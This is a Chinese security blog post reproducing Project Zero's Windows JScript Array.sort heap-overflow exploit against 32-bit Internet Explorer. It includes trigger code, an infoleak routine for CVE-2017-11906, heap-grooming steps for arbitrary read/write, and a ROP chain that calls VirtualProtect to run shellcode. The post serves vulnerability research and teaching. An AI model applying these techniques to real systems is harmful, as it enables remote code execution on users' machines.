利用WPAD/PAC与JScript实现Windows 10远程代码执行
安恒信息
网络安全前沿资讯、 应急响应解决方案、技术热点深度解读
关注
简介
Project Zero团队在google发表了一篇关于利用WPAD/PAC和JScript在本地网络中实现Windows10远程代码执行的博客,笔者根据博客复现了漏洞,现在把利用过程以及一些值得注意的地方拿出来和大家分享。
博客中介绍了此漏洞在WPAD服务中的利用过程,而本文主要针对此漏洞在IE浏览器中的利用。由于IE浏览器无论是在32位系统还是64位系统中,默认情况下始终是使用32位版本去访问页面,所以本文所有的利用过程都是针对32位IE。
漏洞介绍
在处理如下(1)处的调用时,如果Array.sort输入数组的长度大于Array.length/2,jscript.dll会逐个将数组arr中的元素转化为String。转化的第一步是分配作为存储转化后String变量的内存空间,而分配的大小由当前arr数组中存在的元素的个数决定。第二步从0到Array.length逐个数组转换元素。转换过程中如果元素存在,那么元素会被转化为String,并写入第一步分配的内存空间中。由于arr[0]的toString回调方法的存在,在转换arr[0]时,(2)标示位置的代码会被执行,(2)代码执行后arr数组中实际存在的元素个数会增加,而第一步分配的内存不会重新分配,于是之后的转换过程中便会导致堆溢出。
var vars = new Array(100);
var arr = new Array(1000);
for(var i=1;i<600;i++) arr[i] = i;
var o = {toString:function() {
for(var i=600;i<1000;i++) {
arr[i] = 1337; ------------> (2)
}
}}
function go() {
arr[0] = o;
Array.prototype.sort.call(arr); ---------> (1)
}
go();
漏洞利用
jscript Vars 和 Strings结构
开始利用前,了解jscript Vars 和 Strings 的内存布局是很有必要的。在32位系统中JScript VAR是16-byte的内存结构,内存布局如下所示,虽然最后4 byte一般不会用到,但是在VAR的拷贝赋值时会一起被拷贝。
偏移
大小
描述
0
2
对象类型,3代表int,5代表double,8代表string
8
4
对象数据,可能直接是数据或者是指向数据的指针
12
4
一般不会用到
Strings Var和上面描述一样,偏移为8的地方保存在指向BSTR数据结构的指针。BSTR结构保存在String的具体内容,在32位中,此数据结构描述如下:
偏移
大小
描述
0
2
不包含'\0'时Strings的长度
8
length + 2
以'\0'结尾的16位字符串
信息泄露
为了保证exp的稳定性,需要获得一个可被完全控制的内存地址。利用CVE-2017-11906可泄露出所需的内存地址。此漏洞poc如下:
var r= new RegExp(Array(100).join('()'));
''.search(r);
alert(RegExp.lastParen);
这个信息泄露漏洞存在于RegExp.lastParen中,在调用任一RegExp.test、RegExp.exec或者String.search后,jscript!RegExpFncObj中会用数组保存group信息,这些信息实际上是匹配到的内容的开始位置和结束位置。由于用来保存group信息的数组大小固定为20*4(32位程序中),也就是一共有10组group信息,所以当匹配到的group数量大于10时,RegExp.lastParen过大的下标会导致取值时发生越界读操作。数组中保存的起始位置和结束位置能够提供更大的可读空间,所以可以通过控制数组中的值来控制越界读的范围。
观察jscript!RegExpFncObj可以发现,如果用31个空括号组成的RegExp去搜索,同时在搜索结束后设置RegExp.input为任意整数,那么RegExp.lastParen的起始值为0而结束值则为RegExp.input设置的整数。在32位程序中直接给RegExp.input赋值会导致起始位置的值为不可控的值,必须以var x = (int value);RegExp.input = x;此种方式赋值,才可保证起始位置的值为0。
LFH堆随机化分配内存机制会对获取相邻BSTR的指针造成影响,在利用此漏洞时应选用20000(0x4e20)作为Strings的长度。Strings在释放后heap头中会保存前后free掉的内存的指针,通过越界读操作可以读到此指针。再次分配同样大小的Strings后此指针 有极大的可能会再次被分配来存储BSTR结构,而通过控制再次分配的String内容便可以控制泄露的指针所指向的数据。信息泄露利用代码如下:
function infoleak() {
var str = "aaaaaaaaaa";
while(str.length < 10000) str = str + str;
for(var i=0; i<1000; i++) {
strarr[i] = str.substr(0,10000);
}
for(var i=0; i<500; i++) {
strarr[i*2] = 1;
}
CollectGarbage();
var x = 0x2738;
var r= new RegExp(Array(32).join('()'));
strarr[737].search(r);
RegExp.input = x;
var leak = RegExp.lastParen;
if(leak.length != 0x2738) {
return 0;
}
//检查是否是之前释放过的内存
if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2736) != 0x61)) {
return 0;
}
straddress = dwordFromStr(leak, 0x271c) + 4;
if(!isAddress(straddress)) {
return 0;
}
return 1;
}
堆溢出
利用前需要先了解被溢出的结构,每一个Array中的元素都会在jscript!JsArrayStringHeapSort临时分配的内存中对应一个0x20的结构(32位程序),具体结构如下:
偏移
大小
描述
0
4
转化后的String Var的指针
4
4
当前元素在数组中的顺序
8
16
转化前的Var结构
24
8
根据转化前的Var的类型,为1或者0
实际利用中临时内存的布局如下,括号中的内容为当前元素在数组中的顺序。如果数组的元素为整型,那么结构偏移为16的地方就会如下中括号中的数据所示,被控制为整型的值。通过堆溢出可以覆盖相邻数据结构为可控数据。
12f1d160 a0 95 c0 04 (00 00 00 00) 80 00 00 00 00 00 00 00
12f1d170 20 2e b8 04 00 00 00 00 01 00 00 00 00 00 00 00
12f1d180 28 68 69 0a (01 00 00 00) 80 00 00 0b 70 4b 6b 0a
12f1d190 28 68 69 0a 20 ab 94 5d 01 00 00 00 00 00 00 00
12f1e260 48 a2 b8 04 (88 00 00 00) 03 00 00 0b 04 00 00 00
12f1e270 [41 41 41 41] 58 aa 6a 0a 00 00 00 00 00 00 00 00
12f1e280 08 a3 b8 04 (89 00 00 00) 03 00 00 0b 04 00 00 00
12f1e290 [41 41 41 41] 58 aa 6a 0a 00 00 00 00 f4 40 75 10
接下来便是寻找一个被覆写后能达到任意地址读写或者类似能力的数据结构,NameList中的hashtable便是一个很好的选择。每一个NameList JScript对象都会有一个hashtable来保存成员对象,在访问成员对象时,会先计算成员对象的hash,然后通过hash在hashtable中取得对应的指针来完成对指定成员对象的访问。在覆写hashtable后,可以通过成员函数的访问来伪造JScript对象。对于覆写时不能控制的指针,可以只访问可控成员对象的方式来避免程序崩溃。hashtable内存布局如下:
12f1f170 106b13a4 106b13dc 106b1414 00000000
12f1f180 00000000 107338dc 10733914 (1073394c)
12f1f190 (10733984) 107339bc 107339f4 10733a2c
12f1f1a0 10733a64 10733a9c 10733ad4 00000000
12f1f1b0 00000000 00000000 00000000 00000000
12f1f1c0 00000000 00000000 10733b0c 10733b44
12f1f1d0 10733b7c 10733bb4 10733bec 10733c24
12f1f1e0 10733c5c 10733c94 10733ccc 10733d04
(1073394c) 03 00 00 00 00 00 00 00-e8 00 00 00 00 00 00 00
1073395c 00 00 00 00 00 00 00 00-07 3c 00 00 06 00 00 00
1073396c 84 39 73 10 00 00 00 00-e9 00 00 00 00 00 00 00
1073397c 32 00 33 00 32 00 00 00-03 00 00 00 00 00 00 00
1073398c e9 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
1073399c 08 3c 00 00 06 00 00 00-bc 39 73 10 00 00 00 00
107339ac ea 00 00 00 00 00 00 00-32 00 33 00 33 00 00 00
由hashtable内存布局可知,相关数据如下图所示:
想要稳定的覆写hashtable结构,需要经过如下步骤:
1. 确保hashtable和被溢出的堆会被分配到同一个大小LFH桶中。在触发漏洞前不断分配和释放0x1000大小的内存来开启LFH针对0x1000大小的内存分配。分配大小之所以是0x1000,是因为在32位系统中,当对象的成员个数小于等于512时,hashtable的大小为0x200,当第513个成员被添加到对象中时,hashtabel会被重新分配至0x1000大小的内存。
2. 分配2000个JScript对象,每个对象包含512个成员。给前1000对象增加第513个成员,使得前1000个对象的hashtable变为0x1000。
3. 使用长度为250且拥有127个元素的数组作为Array.sort的输入数组,使得分配的内存大小为(127 + 1)*0x20 = 0x1000 bytes,根据LFH的分配算法,此内存会和hashtable分配在同一个LFH桶中。
4. 在toString回调中给余下的1000个对象增加第513个成员,并把数组的特定项设置为特定数值。
在泄露出内存地址的String对象中,构造虚假的JScript成员对象数据,并用对应的数据地址覆盖hashtable中的数值。通过对对象成员的读写来达到任意地址读写的目的。为了达到此目的需要构造5个假的JScript成员对象:
1. var1只包含数据0x1337,作为寻找被覆盖对象的标识。
2. var2的type为0x400c,表明这是个对象是指针,且偏移8的位置保存着指向实际对象的指针。设置偏移8的指针值设置为var1所在内存位置之前的12byte,使得var2的最后4byte和var1的前4byte重合。
3. var3、var4、var5都是整型,但是最后4byte分别为3、8、0x400c。
被覆盖后的对象hashtable如下图所示:
通过查看对象的指定成员是否为0x1337,可以找到被覆盖hashtable的对象,这里称为craftobj,基于上述的内存布局,可以通过craftobj[index2] = craftobj[index4];使得var1的type被覆盖为String,同样可以用var3、var5覆盖var2的手法使得var1的类型变为整型或者指针。
如果想要读任何数据,只需要先设置var1为想读的地址,然后把var1改为String类型便可。如果想要写任何数据,只需要把想入的数据地址写入var1中,然后改变var1的类型为对象指针,然后写入数据便可。
绕过cfg
由于cfg并不保护栈上的返回地址,而且Jscript的一些对象中包含当前的栈地址,所以在返回地址处构造ROP链可以绕过cfg。
JScript中,所有的JavaScript对象都继承于NameTbl对象,而在32位程序中每一个NameTbl对象偏移为12的地方保存着指向CSession的指针,而CSession的偏移为44的地方保存着指向栈上的指针。通过任意地址读写,可以在函数的返回地址上构造ROP链绕过cfg。
代码执行
漏洞利用步骤如下:
1.通过JScript对象的虚表地址获取JScript的基地址
2.通过JScript的导入表获取kernel32的基地址
3. 扫描kernel32获取需要的rop gadgets
4.通过kernel32的导出表获取VirtualProtect的地址
5.获取栈返回地址
6. 通过任意地址读写构造ROP在返回地址处构造rop链
ROP链布局如下所示:
[address of POP ECX,RET 8]
[...]
[...]
[address of VirtualProtect]
[...]
[...]
[address of shellcode]
[address of shellcode]
[1000]
[40]
[address of shellcode + 60]
由于栈空间中存在关键性数据,一旦改变可能在函数没有返回前产生崩溃,所以在修改栈空间时需要避免修改这些数据,上面的ROP链中[...]所代表的便是这些数据。 成功触发exp效果如下:
总结
谷歌博客中对在64位系统中的wpad服务下利用此漏洞做了详细的描述,64位系统下的利用除了JScript对象关键数据位置偏移不一样外,函数的参数传递过程也不一样,在构造ROP时需要注意把原本应该在栈上的参数通过ROP转移到RCX、RDX、R8、R9等寄存器中。同时由于wpad服务和IE中系统分配内存的方式不一样,IE的JScript对象分配在NT heap中,而wpad服务分配在segment heap中,所以堆溢出发生后,被覆盖的hashtable的位置也是不一样的,需要重新计算被覆盖成员在对象中的偏移。如果需要了解利用的具体过程,请参看 aPAColypse now: Exploiting...。
上周热门文章TOP3